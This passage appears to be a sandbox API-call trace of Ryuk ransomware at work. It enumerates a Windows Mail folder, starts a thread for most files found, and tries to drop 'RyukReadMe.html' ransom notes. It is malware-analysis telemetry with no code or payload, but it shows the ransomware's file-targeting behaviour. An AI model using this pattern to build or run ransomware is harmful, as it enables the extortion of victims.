	[0267.419] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1de, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1
	[0267.419] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4
	[0267.421] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.422] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0267.422] SetLastError (dwErrCode=0x0) 
	[0267.422] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8
	[0267.422] GetLastError () returned 0xb7
	[0267.423] CloseHandle (hObject=0x7c8) returned 1
	[0267.423] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0267.426] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.426] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0267.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc
	[0267.427] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.428] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0267.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0
	[0267.430] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.430] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0267.430] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0267.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4
	[0267.432] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.433] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0267.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8
	[0267.868] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.869] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1
	[0267.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0267.871] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.871] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1
	[0267.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c
	[0267.873] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.874] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1
	[0267.874] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0267.876] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.876] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1
	[0267.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788
	[0267.878] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.879] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1
	[0267.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0267.880] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.881] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1
	[0267.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0
	[0267.882] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.883] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0267.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790
	[0267.885] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.885] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0267.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c
	[0267.887] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.888] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0267.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794
	[0267.890] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.890] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0267.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c
	[0267.892] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.892] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1
	[0267.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798
	[0267.894] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.895] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1
	[0267.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0267.897] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.897] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1
	[0267.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0267.899] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.899] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0267.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0
	[0267.901] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.902] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0267.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac
	[0268.340] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.340] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0268.340] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0268.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4
	[0268.342] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.343] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0
	[0269.538] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0269.538] SetLastError (dwErrCode=0x0) 
	[0269.538] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.538] GetLastError () returned 0x3
	[0269.538] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0269.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.538] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
